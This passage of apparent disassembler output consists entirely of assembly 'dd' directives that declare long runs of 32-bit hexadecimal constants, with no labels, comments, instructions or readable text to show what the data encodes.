		dd 9F98E400h, 27C78FE3h, 98649080h, 5B7D0358h, 5115E0ACh
		dd 60D40E81h, 2DF44AA8h, 0D1246800h, 5E1A44Fh, 0BDE0E7A8h
		dd 864D09FAh, 780E088Dh, 0F677B340h, 0B1314E1Ch, 0AFFB5846h
		dd 0D093ECh, 0D6859A07h, 5F4B28DAh, 8894DF00h, 0D4B105F1h
		dd 7782007Bh, 156B7369h, 0AE0CD14Dh, 0D8DB2061h, 9DA30184h
		dd 0D914F5A8h, 47CFF47Ch, 7A98ACE2h, 0F6DF5900h, 65218EDh
		dd 1F2A7E9Eh, 811C27A9h, 22D24A39h, 6041D986h, 780BE8B0h
		dd 889553h, 0AD1D8B4h, 0B30E00A0h, 79C8E24Bh, 7DF0D708h
		dd 0F7FBAEEh, 35A92Dh, 4841F3A0h, 0D02A00BEh, 0B382E3B6h
		dd 987376DFh, 0B200BB76h, 1FFD7EB4h, 5900CF4h, 0EE4B906h
		dd 0EC2CB1FAh, 5802ECDEh, 5A6D01ACh, 9B7840DCh,	2F63011Dh
		dd 0C9203E6Ch, 0B041FEB1h, 665080ADh, 0E23AED42h, 6A7F0311h
		dd 0B19265B0h, 0B34B8380h, 6B5A18BAh, 0D0F7E804h, 85698890h
		dd 4BA4Fh, 5D88A951h, 68340542h, 5FEC7D00h, 4DF9941h, 0F19400E1h
		dd 0B96E16F9h, 2098432Ch, 19BAA400h, 44341333h,	0C02DF299h
		dd 6C2E38B1h, 0D90081EDh, 40EA7A26h, 0D3EC11h, 88399D76h
		dd 3B2E1F4Eh, 664D8F00h, 8A36DF6Ch, 1420F54Bh, 0B9770Ah
		dd 0FBA549E4h, 0CBE09501h, 0EF37A701h, 2BC13177h, 473FE068h
		dd 7BEE7800h, 72BF7508h, 181695Ch, 0A7D3B743h, 3DD94250h
		dd 1E40B080h, 0F52E9960h, 2B00C173h, 940DE7BDh,	4AB05BEh
		dd 8C39FA44h, 124C8084h, 40009B17h, 836BA66Ah, 7D063143h
		dd 37198ACh, 9A790CBDh,	0D0C8E512h, 0EF60D56Ch,	774FDD38h
		dd 1F0B02Dh, 4D968727h,	784374B4h, 0E5CE1660h, 7025D8C0h
		dd 44413053h, 33311DA1h, 0F2993001h, 56EC926Ah,	0D23053D9h
		dd 74C60062h, 0C85907C9h, 20909ED5h, 0B87B1601h, 85C1DF15h
		dd 3CBD70h, 11653A84h, 0E395E29Bh, 425FE100h, 361D1993h
		dd 30ED0E70h, 54415E74h, 0D04585F9h, 0CC09F6E9h, 0A2FFD35Dh
		dd 0DB6A5814h, 1D558064h, 0D8D0C116h, 0BB12393Fh, 1380761h
		dd 0A690A95Ch, 0E5CDFFh, 8D4D4616h, 0C7E32C0Dh,	0DE361E0Eh
		dd 62284FC5h, 4002BE42h, 2F20434h, 27FFAC45h, 0E0C1E7C1h
		dd 4EA430DDh, 67995906h, 48913781h, 0B500AC64h,	7339AE21h
		dd 0F9039913h, 1F0BDD9Ch, 0A946900Ch, 65ECC0h, 0FA9A668Bh
		dd 0E683732Ch, 4B3E1B14h, 2EFC00D7h, 0D9613811h, 0A02775Bh
		dd 3FCE0582h, 531902C0h, 0D5E39EF0h, 0E02759E9h, 2A12CB99h
		dd 1100A368h, 9E97D963h, 0D6CF00C7h, 0B5C6C0A6h, 7A489A64h
		dd 1B95005Ch, 721FE367h, 54E5070Dh, 0B0BC6A04h,	514B76C2h
		dd 0F8843926h, 6692A700h, 2ED454h, 8602D0Bh, 0DC5141F6h
		dd 67FF7A00h, 9035718Eh, 0CD491732h, 0E6040F1h,	768A1D23h
		dd 0C73EB200h, 32A647FAh, 0C46400E0h, 0D5DEF6B1h, 3401FEEAh
		dd 7995C55Ch, 442C13E5h, 73F7F400h, 0B2CB09D1h,	19DA1E03h
		dd 88965B49h, 0F2CC08h,	9821A31Fh, 30CDBCDEh, 1E049D0Fh
		dd 7CD3C249h, 3387816h,	1B9EAADFh, 80F5E926h, 0C1A594DCh
		dd 525298B6h, 777007Ch,	6624045Ah, 13007F02h, 0AA2661C5h
		dd 48D71BE8h, 72006843h, 5E928EF7h, 0D900C514h,	0FB0894A2h
		dd 14AD555h, 8DA77B3Ch,	0F0B721FAh, 0B0000738h,	0EF045DC9h
		dd 2E80D6DDh, 6C9F0Dh, 49131224h, 0A1158CDAh, 2805AE7h
		dd 0F15B0BA0h, 1C4C82Ch, 5216000Dh, 0FE43594Dh,	0BD26F487h
		dd 2B9F6453h, 1C210F03h, 0D4103FC0h, 565B0A00h,	0AD84A489h
		dd 0CE11CA00h, 6D75156Eh, 1C8C12F5h, 0A49A094Bh, 0A5C02180h
		dd 305DFBCh, 5C5CCC7h, 3A061CC0h, 232E0184h, 0A5F0C2C1h
		dd 8EAAE46Dh, 0BC29F800h, 911225AEh, 0E3AF0092h, 691CD2B2h
		dd 5600F7E0h, 813E65EBh, 0E366B0Bh, 48D8088Ch, 2B137500h
		dd 30267D9h, 0B123C6DCh, 738CA105h, 33C8B94Ch, 0A2460426h
		dd 0B0354B3Ch, 22245458h, 0A5009F0Dh, 97B3D94Dh, 38252549h
		dd 407DD480h, 0E30B1367h, 9DDF97Ah, 6B2080C7h, 552889h
		dd 3FF502FCh, 0EC55347h, 0D9941207h, 98B4A1B8h,	3B6C07C1h
		dd 10824h, 1129BBAFh, 0E31907C4h, 86D65000h, 0C517DB9Bh
		dd 122104A7h, 0C1819EE2h, 0EC029C98h, 3200B3F3h, 6C241CADh
		dd 3170DCh, 0C2A0AF98h,	50F241EBh, 66B74B09h, 0A8E33Dh
		dd 7F26ED90h, 7C8D7A34h, 0FA001898h, 81895F88h,	1C4EF08h
		dd 35E6E8D8h, 0F4B9492Ah, 0DE02A4CFh, 9F4D2292h, 0CB24E851h
		dd 0A196034Bh, 2D13100Ah, 487D99F8h, 78796700h,	3DB65AD3h
		dd 0CCA52462h, 0C8B00FCCh, 63268000h, 0C300680Ch, 3637277Dh
		dd 904C71h, 7A095743h, 3EB9888Ah, 0CD321600h, 9B74547Bh
		dd 5991004Ah, 979DB150h, 2B003A0Bh, 6141A57Dh, 97795F0Eh
		dd 85C0D360h, 0C80C1800h, 0F5EADAD4h, 177E8DDh,	2F4CCC60h
		dd 0E0C5658Fh, 9FC5139h, 7201CA17h, 0C022D044h,	1B0230B8h
		dd 32B70FA6h, 62F67848h, 7BFFA200h, 5EBDF8A1h, 0CB4B00E6h
		dd 7893117h, 0C0007DD0h, 96BE9778h, 71B4474Eh, 0CCD2249Ch
		dd 0F96C0h, 62458A34h, 0A716FCAAh, 8C050B2Ch, 3CD0B89Bh
		dd 15C6031h, 0A71E904Ah, 0D0719843h, 0D302E03Bh, 0F834FB3Fh
		dd 0DEFC685Eh, 3D851B03h, 4CFB20A4h, 73EF01A5h,	81BF4508h
		dd 0DB7B41C9h, 33E47705h, 0C77D0Bh, 5781037Fh, 0BE0F09DDh
		dd 87785A3Fh, 1EB0628Fh, 37B89EB0h, 0F209464h, 0C1FD05Bh
		dd 881192D2h, 483E4C06h, 2C50092Fh, 141C0B2Dh, 33146410h
		dd 0D2015401h, 69D6984Eh, 0D7D4D04Bh, 0AB149E50h, 926DDC00h
		dd 0CF71AD4Dh, 98C8606Ah, 0B76903B1h, 0CB700605h, 1F80C13Fh
		dd 9B9D79h, 0C99F4BA1h,	0BAFC328Dh, 8F464F3Bh, 40DB02C4h
		dd 4D7C85C3h, 97E901DEh, 0D407558Bh, 2418DC3Ah,	0F117A600h
		dd 70E2C928h, 7DCF004Ch, 29D9EDC7h, 0C400372Dh,	544755F4h
		dd 5816D1DEh, 443F3A1Ch, 7EFEFDh, 2E9F403Fh, 97E1B880h
		dd 5F602AE4h, 7132BBE9h, 363F03D6h, 1ED8BE98h, 21730830h
		dd 3B712A9Eh, 7282AC30h, 86625AB7h, 88841C74h, 0C000508Dh
		dd 0A11AD763h, 0C22ADD03h, 17B2FF89h, 0D49429h,	0BFCF0B86h
		dd 7F6633DBh, 21B608h, 0F71E8CF2h, 4ED37906h, 0B90708E6h
		dd 4988079Eh, 8A5E8681h, 0DB21908Ch, 5D626D44h,	0C5B3C20h
		dd 5F5AB449h, 8357E040h, 3F3AFBh, 0B8533D74h, 6AF38C45h
		dd 48B6E300h, 0B32FCC6Bh, 82B1C8A2h, 0AEC0D5C5h, 0ABBC370Bh
		dd 0C540B458h, 3F51ECDh, 9DD55F01h, 0ECC9924Dh,	565A8440h
		dd 0CE37441h, 0A8143796h, 180089A0h, 40ED5502h,	485249FAh
		dd 0F800F8ACh
		dd 0D966CDEh, 0D20F2401h, 0E7BD7B81h, 57909B60h, 7BB148DCh
		dd 2EA80E58h, 7407DB30h, 0FA82A09Ch, 0FB3BEB7Eh, 0B2E48093h
		dd 54C0A77Dh, 13EE036Dh, 84FFDB38h, 0A65C07B8h,	6A3D2500h
		dd 0D19642DAh, 0DCFA2Eh, 1D3E4987h, 4DE1F04Ah, 1A4B6D1Eh
		dd 6F8B807Eh, 5A1CED9Ch, 0BFD90030h, 0B47FEEA0h, 1E0329F7h
		dd 2E3780C7h, 0BD45D80Dh, 0DECA001Ch, 32C5DCB1h, 61B567B9h
		dd 4DFCF900h, 5CE00029h, 60013FCCh, 371CCBA4h, 3100E195h
		dd 697939C2h, 0AF87Fh, 0DC77FD01h, 0EE5D2A6h, 43EBC91Eh
		dd 2E2D1841h, 0A7F47DFFh, 60F70050h, 81E5FC97h,	0B0002225h
		dd 5A362F67h, 0C017B55Fh, 0C7D5F568h, 41000CC3h, 0F1141EC5h
		dd 3E91B93h, 0F792AD57h, 15903F89h, 0E70355E3h,	8C69A7CFh
		dd 0E8180F45h, 0C481AED0h, 0FC0DC05Bh, 0A2078249h, 5A3E3395h
		dd 85A322C7h, 5CBFBh, 61D42580h, 0CA7FE601h, 6CFDA307h
		dd 0C4C1230Bh, 0D7E4EAD0h, 0AFFB3153h, 502FCDA1h, 0E0682488h
		dd 61639D00h, 0F5C422C6h, 0BBC000C5h, 0AEA34B03h, 0B900297Bh
		dd 0A914D716h, 141E0EEFh, 40D40FEh, 5EBAC3FAh, 13100C09h
		dd 26D08C6Ch, 0D8284500h, 0D152B703h, 3A4000FCh, 149B1FC6h
		dd 0B63B2F13h, 69269FC5h, 2F362932h, 5FCDD7C0h,	5B0F1583h
		dd 40BF1A0Eh, 3DB15D3Fh, 1FA72E0h, 589A9D0Dh, 0F22D77A8h
		dd 0E5845A60h, 1ACC590Eh, 64AE40D2h, 7C0B201Bh,	0A0120041h
		dd 0AA9B0EB9h, 0C77B216Ch, 6D1F5400h, 9904D6F5h, 0D0560050h
		dd 2DE4DB52h, 700025EFh, 0B190DA16h, 5BB45h, 46F8356Ch
		dd 0D65579EEh, 0E03E1DB8h, 6F7C0056h, 354F40Ch,	0F5B300A1h
		dd 15F34350h, 71FCA11h,	4040A622h, 24F72623h, 9CD071Dh
		dd 705A7C7Bh, 6A520BABh, 0A0C69400h, 641585F7h,	500A0360h
		dd 0FDF0061Ah, 4DA0A7F3h, 5B00920Ch, 1F59E3A2h,	339B2Ah
		dd 1ED4AF55h, 9488C173h, 0E7C8606Fh, 5B80E6A2h,	7F135A7h
		dd 3FC2B9EFh, 7ACFC354h, 7094CA80h, 32729701h, 5DBFBBA5h
		dd 0C5FEC4h, 71EE987Ch,	7FF4376Ah, 0FB6F3977h, 3A3E4010h
		dd 36ABD9h, 4A78614Dh, 75924C7Bh, 7C44E401h, 411CCFEFh
		dd 727EB840h, 0EABB715Eh, 68CD6FC9h, 6174BD60h,	2E3E1EF8h
		dd 90C5077Ch, 87F9866Ah, 72C0E647h, 17E07Bh, 389A7A4Ch
		dd 42FA2FE4h, 8952D700h, 225B59BAh, 0C2D60005h,	40B1EB5Ch
		dd 6600B78Ch, 7C794BB6h, 1F209629h, 8F45861Ch, 0CBE37E75h
		dd 4C982544h, 610EE148h, 0A45A77B5h, 64801F6Fh,	14FCC97Dh
		dd 9B827B39h, 0CF2B6600h, 3855EFDCh, 4BA59000h,	575062E1h
		dd 0EAC9005Eh, 5B030CF7h, 0FC35BDBCh, 0FC874980h, 0A2080670h
		dd 7F420046h, 52DB033Fh, 1009233h, 0D45C448Fh, 0CAA71A6h
		dd 0D921D5A9h, 3600C3B9h, 0EE91C8FBh, 0A0C16F1Ch, 947A90h
		dd 710C3904h, 70CC5206h, 23B3A400h, 1FAF01ABh, 827401E5h
		dd 0FD066E72h, 86A88047h, 9B2560Fh, 0FA5E0067h,	2BA63673h
		dd 0A500FEB8h, 30085C5Ah, 0F020BBD3h, 3172DDh, 0FEF89FFDh
		dd 3651F03Ah, 0A6D0C9h,	48CCBA34h, 0BF78C0CAh, 4AD82711h
		dd 6D2168C0h, 3760771h,	890BDCDDh, 698E6FCh, 0CF7F6BBCh
		dd 873C7C01h, 0B32145B7h, 7FC9E8h, 0F7E3CB67h, 68B0322Eh
		dd 0DB3A6E09h, 0D59480F3h, 1FF97052h, 6AB310h, 23EECEB6h
		dd 0FCA6C648h, 0C70BF7Bh, 4DE4A400h, 6B2EDD82h,	0D07C26h
		dd 4315C95Bh, 1ED3CC34h, 9007F48h, 804F499Fh, 63A84C5Ch
		dd 2D9B0718h, 803F36D5h, 8C387BD2h, 6F85511Dh, 9FC03C40h
		dd 0C01E024h, 48B761A2h, 0F20094F0h, 0E802423Eh, 6D0A43Dh
		dd 4F0C6406h, 7C0E2049h, 0B2ECDD35h, 6A67C400h,	250F68Bh
		dd 6CA10D7Ah, 1C4CF93Dh, 29198C42h, 0FBE0D9CFh,	5A164100h
		dd 0DC37CAECh, 72730069h, 5E66F4CCh, 20EF587h, 2E1DD0BDh
		dd 0EC12808Ah, 48771F8Fh, 15C02065h, 10F05E5Ah,	5F096000h
		dd 0C5856A28h, 0EEA800C2h, 0D8F16756h, 10180F6Eh, 0F479D7C4h
		dd 0BE020077h, 4CE7926Dh, 97009E36h, 21D90670h,	1D2A3A9Ch
		dd 32F7E45h, 5E4046A0h,	50B21BC0h, 0E5F7500h, 59934C77h
		dd 6B8CA862h, 94F300E9h, 4A367A96h, 0EA15D492h,	80A918h
		dd 4FCCE8Eh, 0E65B5Dh, 0EC894AD7h, 381E1A47h, 0B5DF5C00h
		dd 7BB8444Eh, 7427076Eh, 77F3596Ah, 0C075E4D7h,	4617BFA8h
		dd 0F129C701h, 0A7382620h, 243C96C0h, 87E079A4h, 0F024B354h
		dd 0CD4AEB8Dh, 555EF1C4h, 9C4159C4h, 0F80C665h,	1D637824h
		dd 6834C16Bh, 0C97647D8h, 0B31882EDh, 353C067h,	1C9296h
		dd 0B7F8D32Dh, 8A92E3F5h, 6E861201h, 0D0C34305h, 0B27773C0h
		dd 666900ACh, 0C70F1EFAh, 9FEAE7A8h, 7BC83007h,	0B330C6D5h
		dd 745557B1h, 0E4A0C088h, 25352CE0h, 0CFD74803h, 0ABCE229Dh
		dd 0B1F10705h, 572C26E2h, 0EC53D390h, 8D4A6EC0h, 0A4593F09h
		dd 57C0097h, 1A346BFFh,	0E4A8F730h, 9481DD42h, 0E839F925h
		dd 98B0896Dh, 94EFA500h, 8E33A7F0h, 4C49085h, 0D4C9400Dh
		dd 5AB8CC22h, 22B83E49h, 39709F83h, 0EBAC50F7h,	56494D97h
		dd 83EF0010h, 256BAF1Ch, 9DFD00C7h, 0D4338B94h,	9A58F417h
		dd 92D700BCh, 3C510D10h, 94CE4D69h, 325D1580h, 94056B1Eh
		dd 3F733683h, 0E535A840h, 0C118D372h, 468212E8h, 8065C5BFh
		dd 0C631A389h, 157D7424h, 2CC986F3h, 0F24F2000h, 35194A0Fh
		dd 7CD4C200h, 0D73D9C36h, 1B4815D3h, 0EB00F09Eh, 2C657B70h
		dd 900737Fh, 5C317698h,	0F8DBB2A7h, 5F4A01C1h, 38C91CC6h
		dd 493B7057h, 9D604CECh, 0AC095C40h, 3AD60031h,	27E81569h
		dd 63008AF7h, 0FAA9F406h, 3DBEA7Ah, 0ED68642Eh,	0AED84D18h
		dd 46008CECh, 52D839C2h, 0EB8073Eh, 6BE5A645h, 4B83E0F8h
		dd 0BF73A100h, 6AB9F97Ch, 7DAA0015h, 0F60F4C4Fh, 0D9005E9Dh
		dd 951F42FDh, 591C11Ah,	1471B768h, 10AAC606h, 12474800h
		dd 7ABAB4B6h, 3CB900E9h, 9177E04h, 0DF006DAAh, 373DA522h
		dd 0D5A0223h, 9B1E0F85h, 1DC411B2h, 0FA802B6Ah,	2678FA6Ch
		dd 85ECA90Ah, 901E9A01h, 0B6D29928h, 7FD39D00h,	0CED6686Ch
		dd 5F6A00EFh, 7DC1AF0Ch, 0E8006441h, 0A8401090h, 142D4408h
		dd 0D4FCE530h, 408327C7h, 9793F869h, 6A78E200h,	0DCD56F4Fh
		dd 0B6C82CC5h, 0DD120017h, 0D447B99Ch, 0AD8DF00h, 387D3669h
		dd 421400A3h, 0D3011217h, 22399152h, 0B0ED806Bh, 0A79728B8h
		dd 0EC3418DBh, 3D1520FFh, 272C3Dh, 0C0C62675h, 9D9ED9h
		dd 0DEEC62AAh, 1CEAEF78h, 9C638F06h, 39F522h, 5840B056h
		dd 0F3C20FC8h, 0D85A25h, 0DAEAF4ACh, 7A02EE46h,	0DE200C7h
		dd 0B90327BDh, 5917B22Ah, 0F415C96Eh, 0ADCC0040h, 0CBAA8D63h
		dd 1236C176h, 0DCA1EC44h, 0A939911Bh, 9773802Ch, 0CD331FF6h
		dd 378700CCh, 0D38082E2h, 2148ECABh, 0CA060118h, 0FDD55222h
		dd 0C4D0DC42h, 98C6EA10h, 0FC6B014Ch, 1D5A591Bh, 8E7C305Ch
		dd 882EE917h, 24C76441h, 0FF9B40h, 0B24DE211h, 81B0D251h
		dd 0F819980Ch, 41E813h,	61FF7278h, 960BE2F4h, 0A31C8203h
		dd 92C1F122h, 46AC6885h, 26B22EFFh, 64D74304h, 76CFC7F0h
		dd 0EB68C412h, 79C3A4C1h, 0D44D5080h, 74DE7706h, 0B943F204h
		dd 0F8902BEBh, 98A46h, 0BF1B22E2h, 245D4E55h, 80BDE407h
		dd 18E40CFh, 30F86375h,	16034h,	0A131B1B5h, 0BBDBE533h
		dd 58D7D207h, 5CD2A418h, 0C06C6C62h, 6E2243Ch, 2C965E9Bh
		dd 0D866CD00h, 358B6Fh
		dd 5CA7EE90h, 0FE4341BAh, 0C63E700h, 0BF1EF028h, 7E4E2AAFh
		dd 8E21079Ch, 5D350Fh, 17B80C65h, 0BC040490h, 87E7DCDAh
		dd 0D5807CC5h, 0B982712h, 0E565BA6Ch, 3C530701h, 0B4BCCCB8h
		dd 50145452h, 8858609Eh, 7F2211C0h, 0CF2B2E71h,	0C84760ACh
		dd 574D5A91h, 0E86A00D0h, 0CF15404Ch, 0F19F26B7h, 0D61768h
		dd 6FDD7780h, 9C9B9C19h, 0A03EF80Ah, 1D009C69h,	805621DAh
		dd 3DD84A7Ch, 0C601C93Bh, 0D705724Fh, 81DC52D5h, 0EBD171Ah
		dd 99B42CE2h, 778840E1h, 0D403D525h, 2D383D48h,	536090A2h
		dd 0F1D80111h, 0BDBE1B51h, 4C05D056h, 137EF009h, 209C2EC3h
		dd 16F8C411h, 9FD300CDh, 0F6600E3Bh, 3D00E46Eh,	2546F148h
		dd 0C08DCEAFh, 0D4555448h, 589A219Ch, 3000F5B0h, 2CD90715h
		dd 0BEF267Dh, 1EE30978h, 0A8288580h, 0C13EE584h, 8B3200D4h
		dd 0EECFC53Bh, 5B4D2833h, 0F1EE6F4h, 0E5E6AF8Dh, 82FC83C4h
		dd 60E448BCh, 178EE218h, 15AE71h, 86A2F416h, 0DE1CB0E8h
		dd 0B5A8C950h, 847E772Eh, 23927A09h, 18F4539Ch,	29D74339h
		dd 30901216h, 6CFDBC03h, 9826445Dh, 1C58A3BFh, 0CB3748h
		dd 1B925C54h, 97009BA8h, 0C26FDA5Ah, 5F85E2h, 24A221AEh
		dd 0FC33E36Eh, 0EEFD5701h, 41B459F4h, 8285F840h, 0D10204BCh
		dd 807A0443h, 0B1A29EC3h, 98652100h, 0C877DFB0h, 0FC20F05Fh
		dd 3247A81h, 4BD3D2BDh,	99C850E9h, 0B300B1DFh, 1C8DAE9Eh
		dd 12A531FCh, 8037C5EAh, 0BB2BA934h, 0C97A2974h, 1E9CE40Eh
		dd 206729BDh, 842CA030h, 246E2615h, 73CB80F8h, 47D9E999h
		dd 0BD192100h, 0C4AAB1A7h, 0A0390090h, 2C3F68DDh, 6101079Fh
		dd 0E7928A44h, 0E0E0A736h, 22AE3A34h, 80D73E00h, 0CE9D25EAh
		dd 0A7C7200h, 3B8E5076h, 0FDE907A5h, 4002080Dh,	26DFC8A2h
		dd 4963F30Fh, 8D8B64h, 0AE935269h, 75AA480Eh, 0C01E4A1Eh
		dd 94208B06h, 5D005EB9h, 0A533526Ch, 78189Ah, 4CC6DEBAh
		dd 0E5B6DB8Fh, 47E4610Fh, 0D2D06096h, 0B06B10h,	0B31676FAh
		dd 77F26FBBh, 0EFB5F107h, 0D88CCA85h, 0F6050E65h, 66AF92E8h
		dd 73BB5100h, 971ECE31h, 52C09038h, 6B83621Ah, 0A1C51F59h
		dd 0DBD00081h, 7F8C1DB0h, 99FA3A3Dh, 0A7E6FCB9h, 58C59B70h
		dd 5600AD71h, 4B551C0Bh, 223EC487h, 0B00078F8h,	11C28125h
		dd 39787C97h, 0EE83DAC3h, 3EB3BA4Fh, 0E8513830h, 7FFB20D0h
		dd 2126005Dh, 1561AABDh, 0F8FFE246h, 2F00C4BCh,	3430542Ah
		dd 0E0C30F28h, 0DD9F00F7h, 891C9BD6h, 0C20925CAh, 0DF16Ah
		dd 0B5F3DA78h, 0CC530014h, 33324E95h, 0C30068C8h, 8458A875h
		dd 9CFF7B0h, 42087F5Bh,	76E95C00h, 0A590466Ah, 0C2932F00h
		dd 15E178D8h, 3B130B95h, 0C880B324h, 0ED12CD44h, 0A288E500h
		dd 6787B5DDh, 75C40708h, 70167283h, 0B8F4CD84h,	46035C92h
		dd 8C3845F7h, 0FCA0EC4Eh, 0B4BA070Ch, 40C8AF48h, 94B7C0E2h
		dd 0C17BEB00h, 1DD06E37h, 710D1E68h, 817E5DBFh,	56B162B0h
		dd 8E1460D3h, 0D13EF405h, 0A807F118h, 609F6673h, 0A949FEAh
		dd 0E51F0553h, 0C027C065h, 0A53D46A2h, 0DF60CFEAh, 20DE71F1h
		dd 9F7000D8h, 404A37B9h, 0DD727D04h, 0AC559900h, 0CC84A93Bh
		dd 1CF00A5h, 7324706Dh,	0AD7A2F7Eh, 0FDDD4C12h,	128F4400h
		dd 6330B979h, 81EEF0FEh, 0C574D8D8h, 3CC27F33h,	420EE0FFh
		dd 337C00C3h, 4A66A6Fh,	141C5827h, 4D40BA70h, 0DF944AD0h
		dd 16C90BF9h, 4B015D0Bh, 206AB9EDh, 0AFFA4914h,	11EF1830h
		dd 45E643h, 0F847D26Fh,	8A64869Fh, 80003E74h, 70DAF223h
		dd 0B96FF7Ch, 0BA53BF0Bh, 7761B980h, 0F300E726h, 17FEF4A5h
		dd 76F9AAC0h, 107A095Dh, 0BB82F012h, 0A4688485h, 767DC0AFh
		dd 5BF2A801h, 3AC49D31h, 0FE072570h, 5FBE0240h,	0BCE683AFh
		dd 0C082D440h, 0EED06F00h, 927EC778h, 2433D19h,	0E3AA58F7h
		dd 794A9300h, 0A76FEA91h, 25DE8C0Eh, 9402A01Eh,	11A44ECh
		dd 5A57C226h, 2EDDF393h, 6D90C700h, 2680C7Ch, 0B63EA0F8h
		dd 7840226Fh, 333EBD56h, 0C45F808Eh, 0FED3B9EFh, 1A8400E5h
		dd 2686E46Ah, 8F0339C5h, 0B9A028CFh, 2C199824h,	6E1E0EC9h
		dd 0EF408AFCh, 9D2EDE7Fh, 2AA6EC04h, 48A02296h,	97D400B6h
		dd 9EFF2F4Ch, 213CADE6h, 3A6B00A4h, 72224EC2h, 59653F7Bh
		dd 402CE09Fh, 84A3A7C7h, 79005F13h, 32D6BBB5h, 0CE5F4h
		dd 0C607E095h, 7A6FE942h, 0E45B660Fh, 4B9362D2h, 30F002h
		dd 890E5081h, 9772A33Ah, 8780E5EAh, 0E17A3A93h,	7691610Ah
		dd 0FA98218h, 0B4039289h, 96E3A0DAh, 0E48E0088h, 0B102D799h
		dd 0E1FD335h, 9CDEFE7Eh, 0F3AB9B80h, 9F711D2h, 7FFDBB8Ah
		dd 0BE2E4300h, 150F93FFh, 600328A5h, 0E3A97D87h, 7ABB0689h
		dd 7843C29Ch, 0D8C6FE00h, 2AF3CF58h, 4C2D90FAh,	3000387Ah
		dd 847F36DBh, 0D2014B16h, 0F211DD73h, 204865A3h, 0D37E004Dh
		dd 315AC41Bh, 0E90062A7h, 0E6DFFD1Dh, 7E71096h,	55EC8415h
		dd 9B210005h, 0C3043514h, 8A6E5B0Ch, 0EFFAE890h, 0F4BB6h
		dd 0F133DFB8h, 0A5004934h, 954E83F0h, 58A2E69Bh, 0A309DF9h
		dd 26C3AB29h, 0E5EBC801h, 738933FCh, 5D82FD4h, 0E00E2A03h
		dd 0A0540EA6h, 0AC875E2h, 0CF01D781h, 0B90892DAh, 0D882C080h
		dd 64850075h, 0D345CA93h, 0D120463h, 244319C8h,	887FEA2Dh
		dd 1FFF2Eh, 42848D3Eh, 0FEE81499h, 33B6C51Bh, 41DF099h
		dd 7AB5032Fh, 429B1AA3h, 21240830h, 1E04C8C9h, 0F46F634h
		dd 0F08AEF62h, 4D64020h, 4246B3E0h, 0DE022222h,	32C044Dh
		dd 86A0AF89h, 625AA7h, 0B419290Bh, 82011402h, 88E1D168h
		dd 6780DF11h, 3C0A1B76h, 0BC22D043h, 75DF8300h,	0A98C4416h
		dd 401C0114h, 0B0A695D1h, 0A589800Ch, 9B3F7DFAh, 75DD00CBh
		dd 1EEEA077h, 5F002431h, 0CF98AE5h, 7BDC763h, 0E9193D1Dh
		dd 40797770h, 477BA15Ah, 68290C01h, 1F724BFEh, 0BE8059B8h
		dd 2E88A6D3h, 1E07958Bh, 0FFF84C89h, 0C23FD723h, 0A97C8176h
		dd 88D8D10h, 0F04144AFh, 0E2929CDh, 650078E5h, 6C0A1976h
		dd 660091D3h, 0DF00C281h, 18A07936h, 306625CBh,	45218BA7h
		dd 0A14C04B7h, 88490387h, 90531854h, 6016DD4Fh,	0C7DE7901h
		dd 8724E54Dh, 7F19A483h, 282CDA09h, 4DFF3E00h, 7C2E6C63h
		dd 2BBF9F07h, 0F5D18E02h, 0B0C41F95h, 0C91D6090h, 9FD6C506h
		dd 553A9103h, 0E0FF1BD0h, 0B8908996h, 800A6488h, 4DEE60DEh
		dd 2B8723F2h, 4300DB11h, 8B0F4DC6h, 3A7FC7E9h, 8250CC00h
		dd 898F5B18h, 0C9871833h, 17A85835h, 4DE01F86h,	88DBD1FCh
		dd 0F8458094h, 4CF9D34Dh, 9759A100h, 8735C848h,	0D5D90006h
		dd 8A5855E8h, 60C5B213h, 0AC19D43Eh, 6048E268h,	0FE4D08FAh
		dd 88C4CB87h, 4DF23F40h, 0F1007914h, 11603ED2h,	6A7F8A57h
		dd 480058B0h, 5200DE8Ch, 9E783E86h, 2DC123h, 978AC77Ah
		dd 1498DF6Dh, 0FA73111Dh, 3014DAD3h, 8CB3BC30h,	0B6A0F20Ch
		dd 9EA921h, 0D580781Fh,	0E24124E9h, 83F9A500h, 532B221Bh
		dd 0D60D13BDh, 20404514h, 19700F89h, 48DA307h, 0F340D2E5h
		dd 11041B30h, 882AB465h, 40EF933Ah, 89882830h, 123D501Eh
		dd 0BBB38358h, 6D9109Eh, 0BA1311E1h, 903F078h, 0B7B26848h
		dd 283F04Ah, 21490095h,	31540A1Fh, 76005511h, 6D572C4Dh
		dd 13DB7AAAh, 1E7F044h,	0BE0B0185h, 6B6FD06Ch, 10F81E00h
		dd 18901D53h, 56177CCh,	9C16F034h, 0EA042F31h, 0BF801B3Fh
		dd 0F93AA701h, 6930C819h
		dd 702220F5h, 1229DF62h, 954201Dh, 2500E93Eh, 5B6CEF13h
		dd 80144BDCh, 30126367h, 8203B18Bh, 8FADF6FAh, 0F5FE0BB0h
		dd 6066B00Ch, 0E1E97948h, 3AF86217h, 0BD6A59C0h, 3262C8Bh
		dd 228C0C60h, 81181D7Ah, 5039CD4Bh, 979900E4h, 582AE702h
		dd 54009C07h, 60B30A47h, 0EAE2CECh, 0DC4808C2h,	0F440130Dh
		dd 6D090E81h, 8173D6F6h, 5DCF24F8h, 2154DCh, 0D3407D1Ch
		dd 0CAFFF731h, 638C69C7h, 9421EB85h, 0EDE104CFh, 0A9820840h
		dd 0A82B0068h, 1ABC5005h, 718C254h, 22D139D5h, 31696082h
		dd 673DB0F6h, 65A5B814h, 22BC069Ch, 216E7Bh, 5B2BD6CCh
		dd 0F23B199Ah, 955D500h, 0FFBC4767h, 0E15300DEh, 97EE5E10h
		dd 0F405B32Dh, 1D57B8C8h, 0ACE4DC00h, 90CC19h, 0E1615633h
		dd 318593CEh, 0FFC94867h, 0F6B343C8h, 23061FA4h, 0EB12FF5h
		dd 0CE125469h, 8E380B81h, 20C1409Eh, 0F100ABA9h, 832B483h
		dd 150A1C3Eh, 680CD83Fh, 466D8384h, 80714F19h, 7E873CFh
		dd 62974352h, 4B09C172h, 0FC21819Bh, 0C8DD42ACh, 1D683C86h
		dd 0C3600845h, 43645D21h, 42C4003Eh, 86ABCD4Ah,	0D74819EEh
		dd 351891Ch, 98F71C43h,	18E192CEh, 41CC4D56h, 0B900F429h
		dd 82C34517h, 2CC20A5Ch, 944395h, 0F2CF6FD9h, 0F330DC41h
		dd 90CD513Bh, 64D7006Dh, 0D615EB8Eh, 0C8441AA9h, 4F5E039Ch
		dd 0FF301986h, 10C056D2h, 700AC4F4h, 0A8D31B4Ch, 0EEF55141h
